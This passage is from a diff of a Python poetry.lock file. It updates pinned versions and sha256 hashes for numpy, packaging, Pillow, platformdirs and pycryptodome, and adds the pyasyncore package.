+ {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"},
+ {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"},
+ {file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"},
+ {file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"},
+ {file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"},
+ {file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"},
+ {file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"},
+ {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"},
+ {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"},
+ {file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"},
+ {file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"},
+ {file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"},
+ {file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"},
+ {file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"},
+ {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"},
+ {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"},
+ {file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"},
+ {file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"},
+ {file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"},
+ {file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"},
+ {file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"},
+ {file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"},
+ {file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"},
]
[[package]]
name = "packaging"
-version = "23.1"
+version = "23.2"
description = "Core utilities for Python packages"
optional = false
python-versions = ">=3.7"
files = [
- {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"},
- {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"},
+ {file = "packaging-23.2-py3-none-any.whl", hash = "sha256:8c491190033a9af7e1d931d0b5dacc2ef47509b34dd0de67ed209b5203fc88c7"},
+ {file = "packaging-23.2.tar.gz", hash = "sha256:048fb0e9405036518eaaf48a55953c750c11e1a1b68e0dd1a9d62ed0c092cfc5"},
]
[[package]]
@@ -1445,67 +1448,65 @@ files = [
[[package]]
name = "pillow"
-version = "10.0.0"
+version = "10.1.0"
description = "Python Imaging Library (Fork)"
optional = false
python-versions = ">=3.8"
files = [
- {file = "Pillow-10.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f62406a884ae75fb2f818694469519fb685cc7eaff05d3451a9ebe55c646891"},
- {file = "Pillow-10.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d5db32e2a6ccbb3d34d87c87b432959e0db29755727afb37290e10f6e8e62614"},
- {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:edf4392b77bdc81f36e92d3a07a5cd072f90253197f4a52a55a8cec48a12483b"},
- {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:520f2a520dc040512699f20fa1c363eed506e94248d71f85412b625026f6142c"},
- {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:8c11160913e3dd06c8ffdb5f233a4f254cb449f4dfc0f8f4549eda9e542c93d1"},
- {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a74ba0c356aaa3bb8e3eb79606a87669e7ec6444be352870623025d75a14a2bf"},
- {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d5d0dae4cfd56969d23d94dc8e89fb6a217be461c69090768227beb8ed28c0a3"},
- {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22c10cc517668d44b211717fd9775799ccec4124b9a7f7b3635fc5386e584992"},
- {file = "Pillow-10.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:dffe31a7f47b603318c609f378ebcd57f1554a3a6a8effbc59c3c69f804296de"},
- {file = "Pillow-10.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:9fb218c8a12e51d7ead2a7c9e101a04982237d4855716af2e9499306728fb485"},
- {file = "Pillow-10.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d35e3c8d9b1268cbf5d3670285feb3528f6680420eafe35cccc686b73c1e330f"},
- {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ed64f9ca2f0a95411e88a4efbd7a29e5ce2cea36072c53dd9d26d9c76f753b3"},
- {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b6eb5502f45a60a3f411c63187db83a3d3107887ad0d036c13ce836f8a36f1d"},
- {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:c1fbe7621c167ecaa38ad29643d77a9ce7311583761abf7836e1510c580bf3dd"},
- {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:cd25d2a9d2b36fcb318882481367956d2cf91329f6892fe5d385c346c0649629"},
- {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3b08d4cc24f471b2c8ca24ec060abf4bebc6b144cb89cba638c720546b1cf538"},
- {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d737a602fbd82afd892ca746392401b634e278cb65d55c4b7a8f48e9ef8d008d"},
- {file = "Pillow-10.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:3a82c40d706d9aa9734289740ce26460a11aeec2d9c79b7af87bb35f0073c12f"},
- {file = "Pillow-10.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:bc2ec7c7b5d66b8ec9ce9f720dbb5fa4bace0f545acd34870eff4a369b44bf37"},
- {file = "Pillow-10.0.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:d80cf684b541685fccdd84c485b31ce73fc5c9b5d7523bf1394ce134a60c6883"},
- {file = "Pillow-10.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:76de421f9c326da8f43d690110f0e79fe3ad1e54be811545d7d91898b4c8493e"},
- {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:81ff539a12457809666fef6624684c008e00ff6bf455b4b89fd00a140eecd640"},
- {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce543ed15570eedbb85df19b0a1a7314a9c8141a36ce089c0a894adbfccb4568"},
- {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:685ac03cc4ed5ebc15ad5c23bc555d68a87777586d970c2c3e216619a5476223"},
- {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d72e2ecc68a942e8cf9739619b7f408cc7b272b279b56b2c83c6123fcfa5cdff"},
- {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d50b6aec14bc737742ca96e85d6d0a5f9bfbded018264b3b70ff9d8c33485551"},
- {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:00e65f5e822decd501e374b0650146063fbb30a7264b4d2744bdd7b913e0cab5"},
- {file = "Pillow-10.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:f31f9fdbfecb042d046f9d91270a0ba28368a723302786c0009ee9b9f1f60199"},
- {file = "Pillow-10.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:1ce91b6ec08d866b14413d3f0bbdea7e24dfdc8e59f562bb77bc3fe60b6144ca"},
- {file = "Pillow-10.0.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:349930d6e9c685c089284b013478d6f76e3a534e36ddfa912cde493f235372f3"},
- {file = "Pillow-10.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3a684105f7c32488f7153905a4e3015a3b6c7182e106fe3c37fbb5ef3e6994c3"},
- {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4f69b3700201b80bb82c3a97d5e9254084f6dd5fb5b16fc1a7b974260f89f43"},
- {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f07ea8d2f827d7d2a49ecf1639ec02d75ffd1b88dcc5b3a61bbb37a8759ad8d"},
- {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:040586f7d37b34547153fa383f7f9aed68b738992380ac911447bb78f2abe530"},
- {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f88a0b92277de8e3ca715a0d79d68dc82807457dae3ab8699c758f07c20b3c51"},
- {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c7cf14a27b0d6adfaebb3ae4153f1e516df54e47e42dcc073d7b3d76111a8d86"},
- {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3400aae60685b06bb96f99a21e1ada7bc7a413d5f49bce739828ecd9391bb8f7"},
- {file = "Pillow-10.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:dbc02381779d412145331789b40cc7b11fdf449e5d94f6bc0b080db0a56ea3f0"},
- {file = "Pillow-10.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:9211e7ad69d7c9401cfc0e23d49b69ca65ddd898976d660a2fa5904e3d7a9baa"},
- {file = "Pillow-10.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:faaf07ea35355b01a35cb442dd950d8f1bb5b040a7787791a535de13db15ed90"},
- {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9f72a021fbb792ce98306ffb0c348b3c9cb967dce0f12a49aa4c3d3fdefa967"},
- {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f7c16705f44e0504a3a2a14197c1f0b32a95731d251777dcb060aa83022cb2d"},
- {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:76edb0a1fa2b4745fb0c99fb9fb98f8b180a1bbceb8be49b087e0b21867e77d3"},
- {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:368ab3dfb5f49e312231b6f27b8820c823652b7cd29cfbd34090565a015e99ba"},
- {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:608bfdee0d57cf297d32bcbb3c728dc1da0907519d1784962c5f0c68bb93e5a3"},
- {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5c6e3df6bdd396749bafd45314871b3d0af81ff935b2d188385e970052091017"},
- {file = "Pillow-10.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:7be600823e4c8631b74e4a0d38384c73f680e6105a7d3c6824fcf226c178c7e6"},
- {file = "Pillow-10.0.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:92be919bbc9f7d09f7ae343c38f5bb21c973d2576c1d45600fce4b74bafa7ac0"},
- {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8182b523b2289f7c415f589118228d30ac8c355baa2f3194ced084dac2dbba"},
- {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:38250a349b6b390ee6047a62c086d3817ac69022c127f8a5dc058c31ccef17f3"},
- {file = "Pillow-10.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88af2003543cc40c80f6fca01411892ec52b11021b3dc22ec3bc9d5afd1c5334"},
- {file = "Pillow-10.0.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c189af0545965fa8d3b9613cfdb0cd37f9d71349e0f7750e1fd704648d475ed2"},
- {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce7b031a6fc11365970e6a5686d7ba8c63e4c1cf1ea143811acbb524295eabed"},
- {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:db24668940f82321e746773a4bc617bfac06ec831e5c88b643f91f122a785684"},
- {file = "Pillow-10.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:efe8c0681042536e0d06c11f48cebe759707c9e9abf880ee213541c5b46c5bf3"},
- {file = "Pillow-10.0.0.tar.gz", hash = "sha256:9c82b5b3e043c7af0d95792d0d20ccf68f61a1fec6b3530e718b688422727396"},
+ {file = "Pillow-10.1.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1ab05f3db77e98f93964697c8efc49c7954b08dd61cff526b7f2531a22410106"},
+ {file = "Pillow-10.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6932a7652464746fcb484f7fc3618e6503d2066d853f68a4bd97193a3996e273"},
+ {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5f63b5a68daedc54c7c3464508d8c12075e56dcfbd42f8c1bf40169061ae666"},
+ {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0949b55eb607898e28eaccb525ab104b2d86542a85c74baf3a6dc24002edec2"},
+ {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:ae88931f93214777c7a3aa0a8f92a683f83ecde27f65a45f95f22d289a69e593"},
+ {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b0eb01ca85b2361b09480784a7931fc648ed8b7836f01fb9241141b968feb1db"},
+ {file = "Pillow-10.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d27b5997bdd2eb9fb199982bb7eb6164db0426904020dc38c10203187ae2ff2f"},
+ {file = "Pillow-10.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7df5608bc38bd37ef585ae9c38c9cd46d7c81498f086915b0f97255ea60c2818"},
+ {file = "Pillow-10.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:41f67248d92a5e0a2076d3517d8d4b1e41a97e2df10eb8f93106c89107f38b57"},
+ {file = "Pillow-10.1.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:1fb29c07478e6c06a46b867e43b0bcdb241b44cc52be9bc25ce5944eed4648e7"},
+ {file = "Pillow-10.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2cdc65a46e74514ce742c2013cd4a2d12e8553e3a2563c64879f7c7e4d28bce7"},
+ {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50d08cd0a2ecd2a8657bd3d82c71efd5a58edb04d9308185d66c3a5a5bed9610"},
+ {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:062a1610e3bc258bff2328ec43f34244fcec972ee0717200cb1425214fe5b839"},
+ {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:61f1a9d247317fa08a308daaa8ee7b3f760ab1809ca2da14ecc88ae4257d6172"},
+ {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:a646e48de237d860c36e0db37ecaecaa3619e6f3e9d5319e527ccbc8151df061"},
+ {file = "Pillow-10.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:47e5bf85b80abc03be7455c95b6d6e4896a62f6541c1f2ce77a7d2bb832af262"},
+ {file = "Pillow-10.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a92386125e9ee90381c3369f57a2a50fa9e6aa8b1cf1d9c4b200d41a7dd8e992"},
+ {file = "Pillow-10.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:0f7c276c05a9767e877a0b4c5050c8bee6a6d960d7f0c11ebda6b99746068c2a"},
+ {file = "Pillow-10.1.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:a89b8312d51715b510a4fe9fc13686283f376cfd5abca8cd1c65e4c76e21081b"},
+ {file = "Pillow-10.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:00f438bb841382b15d7deb9a05cc946ee0f2c352653c7aa659e75e592f6fa17d"},
+ {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d929a19f5469b3f4df33a3df2983db070ebb2088a1e145e18facbc28cae5b27"},
+ {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9a92109192b360634a4489c0c756364c0c3a2992906752165ecb50544c251312"},
+ {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:0248f86b3ea061e67817c47ecbe82c23f9dd5d5226200eb9090b3873d3ca32de"},
+ {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9882a7451c680c12f232a422730f986a1fcd808da0fd428f08b671237237d651"},
+ {file = "Pillow-10.1.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:1c3ac5423c8c1da5928aa12c6e258921956757d976405e9467c5f39d1d577a4b"},
+ {file = "Pillow-10.1.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:806abdd8249ba3953c33742506fe414880bad78ac25cc9a9b1c6ae97bedd573f"},
+ {file = "Pillow-10.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:eaed6977fa73408b7b8a24e8b14e59e1668cfc0f4c40193ea7ced8e210adf996"},
+ {file = "Pillow-10.1.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:fe1e26e1ffc38be097f0ba1d0d07fcade2bcfd1d023cda5b29935ae8052bd793"},
+ {file = "Pillow-10.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7a7e3daa202beb61821c06d2517428e8e7c1aab08943e92ec9e5755c2fc9ba5e"},
+ {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:24fadc71218ad2b8ffe437b54876c9382b4a29e030a05a9879f615091f42ffc2"},
+ {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa1d323703cfdac2036af05191b969b910d8f115cf53093125e4058f62012c9a"},
+ {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:912e3812a1dbbc834da2b32299b124b5ddcb664ed354916fd1ed6f193f0e2d01"},
+ {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:7dbaa3c7de82ef37e7708521be41db5565004258ca76945ad74a8e998c30af8d"},
+ {file = "Pillow-10.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9d7bc666bd8c5a4225e7ac71f2f9d12466ec555e89092728ea0f5c0c2422ea80"},
+ {file = "Pillow-10.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:baada14941c83079bf84c037e2d8b7506ce201e92e3d2fa0d1303507a8538212"},
+ {file = "Pillow-10.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:2ef6721c97894a7aa77723740a09547197533146fba8355e86d6d9a4a1056b14"},
+ {file = "Pillow-10.1.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0a026c188be3b443916179f5d04548092e253beb0c3e2ee0a4e2cdad72f66099"},
+ {file = "Pillow-10.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:04f6f6149f266a100374ca3cc368b67fb27c4af9f1cc8cb6306d849dcdf12616"},
+ {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb40c011447712d2e19cc261c82655f75f32cb724788df315ed992a4d65696bb"},
+ {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a8413794b4ad9719346cd9306118450b7b00d9a15846451549314a58ac42219"},
+ {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:c9aeea7b63edb7884b031a35305629a7593272b54f429a9869a4f63a1bf04c34"},
+ {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b4005fee46ed9be0b8fb42be0c20e79411533d1fd58edabebc0dd24626882cfd"},
+ {file = "Pillow-10.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:4d0152565c6aa6ebbfb1e5d8624140a440f2b99bf7afaafbdbf6430426497f28"},
+ {file = "Pillow-10.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d921bc90b1defa55c9917ca6b6b71430e4286fc9e44c55ead78ca1a9f9eba5f2"},
+ {file = "Pillow-10.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:cfe96560c6ce2f4c07d6647af2d0f3c54cc33289894ebd88cfbb3bcd5391e256"},
+ {file = "Pillow-10.1.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:937bdc5a7f5343d1c97dc98149a0be7eb9704e937fe3dc7140e229ae4fc572a7"},
+ {file = "Pillow-10.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1c25762197144e211efb5f4e8ad656f36c8d214d390585d1d21281f46d556ba"},
+ {file = "Pillow-10.1.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:afc8eef765d948543a4775f00b7b8c079b3321d6b675dde0d02afa2ee23000b4"},
+ {file = "Pillow-10.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:883f216eac8712b83a63f41b76ddfb7b2afab1b74abbb413c5df6680f071a6b9"},
+ {file = "Pillow-10.1.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b920e4d028f6442bea9a75b7491c063f0b9a3972520731ed26c83e254302eb1e"},
+ {file = "Pillow-10.1.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c41d960babf951e01a49c9746f92c5a7e0d939d1652d7ba30f6b3090f27e412"},
+ {file = "Pillow-10.1.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1fafabe50a6977ac70dfe829b2d5735fd54e190ab55259ec8aea4aaea412fa0b"},
+ {file = "Pillow-10.1.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:3b834f4b16173e5b92ab6566f0473bfb09f939ba14b23b8da1f54fa63e4b623f"},
+ {file = "Pillow-10.1.0.tar.gz", hash = "sha256:e6bf8de6c36ed96c86ea3b6e1d5273c53f46ef518a062464cd7ef5dd2cf92e38"},
]
[package.extras]
@@ -1514,13 +1515,13 @@ tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "pa
[[package]]
name = "platformdirs"
-version = "3.10.0"
+version = "3.11.0"
description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"."
optional = false
python-versions = ">=3.7"
files = [
- {file = "platformdirs-3.10.0-py3-none-any.whl", hash = "sha256:d7c24979f292f916dc9cbf8648319032f551ea8c49a4c9bf2fb556a02070ec1d"},
- {file = "platformdirs-3.10.0.tar.gz", hash = "sha256:b45696dab2d7cc691a3226759c0d3b00c47c8b6e293d96f6436f733303f77f6d"},
+ {file = "platformdirs-3.11.0-py3-none-any.whl", hash = "sha256:e9d171d00af68be50e9202731309c4e658fd8bc76f55c11c7dd760d023bda68e"},
+ {file = "platformdirs-3.11.0.tar.gz", hash = "sha256:cf8ee52a3afdb965072dcc652433e0c7e3e40cf5ea1477cd4b3b1d2eb75495b3"},
]
[package.extras]
@@ -1592,6 +1593,18 @@ files = [
[package.dependencies]
pyasn1 = ">=0.4.6,<0.6.0"
+[[package]]
+name = "pyasyncore"
+version = "1.0.2"
+description = "Make asyncore available for Python 3.12 onwards"
+optional = false
+python-versions = "*"
+files = [
+ {file = "pyasyncore-1.0.2-py2.py30.py31.py32.py33.py34.py35.py36.py37.py38.py39.py310.py311-none-any.whl", hash = "sha256:50cb0ff113de9a487938ae95e7fa3e8c64938e2e8fb0599916aaf28634bb3c9f"},
+ {file = "pyasyncore-1.0.2-py3-none-any.whl", hash = "sha256:ab428ffa58b25e1c7e09d630b37c2ace92f5efd1e3dfb95b6b1e1fde86eb090b"},
+ {file = "pyasyncore-1.0.2.tar.gz", hash = "sha256:cce88ad267e3013f43b03ebff8a9e3cd319eb68f95df22beabbf0fffdece996c"},
+]
+
[[package]]
name = "pycparser"
version = "2.21"
@@ -1605,106 +1618,191 @@ files = [
[[package]]
name = "pycryptodome"
-version = "3.18.0"
+version = "3.19.0"
description = "Cryptographic library for Python"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
files = [
- {file = "pycryptodome-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:d1497a8cd4728db0e0da3c304856cb37c0c4e3d0b36fcbabcc1600f18504fc54"},
- {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:928078c530da78ff08e10eb6cada6e0dff386bf3d9fa9871b4bbc9fbc1efe024"},
- {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:157c9b5ba5e21b375f052ca78152dd309a09ed04703fd3721dce3ff8ecced148"},
- {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:d20082bdac9218649f6abe0b885927be25a917e29ae0502eaf2b53f1233ce0c2"},
- {file = "pycryptodome-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e8ad74044e5f5d2456c11ed4cfd3e34b8d4898c0cb201c4038fe41458a82ea27"},
- {file = "pycryptodome-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:62a1e8847fabb5213ccde38915563140a5b338f0d0a0d363f996b51e4a6165cf"},
- {file = "pycryptodome-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:16bfd98dbe472c263ed2821284118d899c76968db1a6665ade0c46805e6b29a4"},
- {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7a3d22c8ee63de22336679e021c7f2386f7fc465477d59675caa0e5706387944"},
